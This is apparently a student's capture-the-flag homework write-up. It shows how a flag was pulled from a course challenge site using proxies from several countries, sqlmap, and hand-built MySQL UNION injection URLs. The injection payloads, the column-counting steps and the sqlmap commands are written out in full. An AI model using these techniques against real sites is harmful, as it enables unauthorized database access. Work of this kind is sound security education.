HW1-1: Tormity (bonus)

0016302 heron

Problem

Get flag string from the website http://tor.atdog.tw/ .

Step

Goal: - visit tor.atdog.tw using 10 different IP from different countries - SQL Injection the site while using HK IP

Tool: hola + sqlmap + curl + microbe

Obtain 10 Different Country IPs

- Method 1: use Hola as Chrome extension (http://hola.org/)
- Method 2: manual proxy setups (free proxy list, http://letushide.com/)

Help with sqlmap

Setup cookie and proxy for sqlmap:

```
#!/bin/bash
sqlmap --proxy "http://110.173.49.18:3128" --cookie
"_tor_session=YkFDQURKb0JyVW1sLy9vZjQrMzlMWkx5Mm1JWnI1U3crWXNXZHcyU1R1U2t5bnAzRktVe
npkbGpOcmN6cUpCRnJJazFWYUVLUzdHeTN2M3l1NGVMeEVEZHEyTVlpWVorUkI4NzR5c04xMkp1dVFqUlFq
bDI2M21mZXJaR0VMTmlnNDcrdWNjUllkU0p3NnFEcTJkTFlKTWZFbWNxOUJmWmlicytUVVlpRW1TTlBOdGR
lWDZaNWhwY1RwRWJEU1FSVzY0VFp1OFBYY1pySWFlallVeWlkNXZGMkZ2SkMvRWtaWTd1ZHQ3dFRkYXVhK1
cwd0ZBWEhYMnVQMEtXdmNUb0Q4Qm5Ub1EyOGRadlZXUlZnRmgwVE1SQXVxYjdWbGxpZExkVTNkaVpkc3I5M
El5aFpKM0xEZ0oxdHkyZ2lRSkYtLXlEdFpEWkhvejF1OGVVamFOM2tHVXc9PQ%3D%3D--efa48ea6dd3a35
f67c55eb0d3c50556881729bc7"
-u "tor.atdog.tw/news/1"
```

Output:

```
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://tor.atdog.tw:80/news/1) AND 6076=6076 AND (2468=2468

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: http://tor.atdog.tw:80/news/1) UNION ALL SELECT
NULL,NULL,CONCAT(0x7171706b71,0x4a446f55477064424663,0x7174727871),NULL,NULL#
---
```

```
back-end DBMS: MySQL >= 5.0.0
```

SQL Injection

I tried following SQL Injection requests to understand the syntax on the target server:

Injectable?

```
http://tor.atdog.tw/news/1'
```

500 Error, which means it's injectable

Syntax Guessing

```
http://tor.atdog.tw/news/0) OR (1=1
```

200 Success getting the article, which means that the SQL syntax is using '(' and applying WHILE or HAVING following by boolean checkings

Column Number

```
http://tor.atdog.tw/news/0) UNION SELECT NULL FROM `flags` %23
```

to

```
http://tor.atdog.tw/news/0) UNION SELECT NULL, NULL, NULL, NULL, NULL FROM `flags`
%23
```

200 for 5 columns, which means the the original SQL syntax request for 5 columns

Output Result in Right Column

```
http://tor.atdog.tw/news/1) UNION SELECT `flag`, NULL, NULL, NULL, NULL FROM
`flags` %23
```

to

```
http://tor.atdog.tw/news/1) UNION SELECT NULL, `flag`, NULL, NULL, NULL FROM
`flags` %23
```

200 for putting `flag` at second column

Solution

Get flag string be printed on site:

```
http://tor.atdog.tw/news/1) UNION SELECT NULL, `flag`, NULL, NULL, NULL FROM
`flags` %23
```

Tricky Part

I had wasted lots of time by using '-- ' at the end of the SQL injection code, which gave me errors. However, by refering to SQL official document, we know:

> From a “#” character to the end of the line.
>
> From a “-- ” sequence to the end of the line. In MySQL, the “-- ” (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.8.2.5, “'--' as the Start of a Comment”.

So,

- If using '#', we have to do URL encode manually; otherwise, it will be seen as hash symbol for URL routing
- If using '-- ', we should put something after it; otherwise, the following space will be dropped and error occurs. Success example is here:

```
http://tor.atdog.tw/news/1) UNION SELECT NULL, `flag`, NULL, NULL, NULL FROM
`flags` -- an apple a day
```

More

I am listing the helpful tools while I was SQL injecting the site:

- SQLite Manager (Firefox Extension): testing SQL syntax in browser
- sqlmap: help me understand the target faster, or even dump everything
- Microbe: Chrome Extension for better URL editing and cookie managing